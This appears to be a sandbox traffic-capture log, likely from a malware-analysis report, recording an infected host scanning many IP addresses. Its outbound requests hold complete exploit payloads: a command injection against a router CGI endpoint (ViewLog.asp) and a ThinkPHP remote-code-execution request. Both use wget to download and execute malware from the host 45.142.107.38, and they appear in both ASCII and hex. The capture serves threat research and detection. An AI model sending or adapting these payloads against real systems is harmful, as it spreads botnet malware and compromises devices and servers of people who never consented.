Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	42282	94.130.168.25	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.915992975 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:18.092611074 CET	319	IN	HTTP/1.1 302 Found Location: https://minimax.ninoxdb.de/cgi-bin/ViewLog.asp Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 68 Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 6d 69 6e 69 6d 61 78 2e 6e 69 6e 6f 78 64 62 2e 64 65 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 Data Ascii: Found. Redirecting to https://minimax.ninoxdb.de/cgi-bin/ViewLog.asp

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	51790	62.192.141.145	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.916134119 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:18.093432903 CET	135	IN	HTTP/1.1 404 Not Found server: owsd content-type: text/html content-length: 38 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	48688	94.190.245.91	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:17.925116062 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:18.108804941 CET	659	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	49936	95.101.246.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.298918962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.158987999 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.318306923 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:19 GMT Date: Mon, 04 Mar 2024 14:07:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 37 62 30 66 37 34 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 39 26 23 34 36 3b 31 36 38 35 32 33 36 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b7b0f748.1709561239.16852369</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	56670	95.100.224.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.313674927 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.492050886 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:18 GMT Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 30 37 65 31 39 62 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 38 26 23 34 36 3b 31 34 65 30 32 35 32 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.507e19b8.1709561238.14e02524</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	53930	95.241.185.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.363064051 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Mon, 04 Mar 2024 14:05:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	49950	95.101.246.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.518923998 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.678261042 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:18 GMT Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 37 62 30 66 37 34 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 38 26 23 34 36 3b 31 36 38 35 32 32 39 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b7b0f748.1709561238.1685229b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	44736	88.221.197.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.531779051 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.706767082 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:18 GMT Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 36 63 35 64 64 35 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 38 26 23 34 36 3b 31 31 36 62 38 34 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.26c5dd58.1709561238.116b84dd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	57746	88.99.123.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.534163952 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.712398052 CET	506	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:18 GMT Server: Apache/2.4.10 (Debian) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 38 3a 63 31 37 3a 37 31 66 32 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at 2a01:4f8:c17:71f2::2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	56424	95.101.70.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.549561024 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.735150099 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:18 GMT Date: Mon, 04 Mar 2024 14:07:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 66 63 31 34 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 38 26 23 34 36 3b 31 35 65 37 35 33 63 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.5efc1402.1709561238.15e753c7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	44932	95.179.130.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.686743975 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.855597973 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:18 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	58740	112.133.90.131	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:18.995856047 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	46886	112.126.75.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.036746025 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.395148039 CET	493	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:19 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 300 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	50564	112.48.141.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.098778963 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.528682947 CET	481	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:07:19 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: cache3.cn4714[,0] Timing-Allow-Origin: * EagleId: 0000000017095612393488620e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	51688	112.196.34.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.129318953 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:21.174993992 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:23.767560005 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:28.630964994 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:38.359023094 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	50570	112.48.141.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.380101919 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
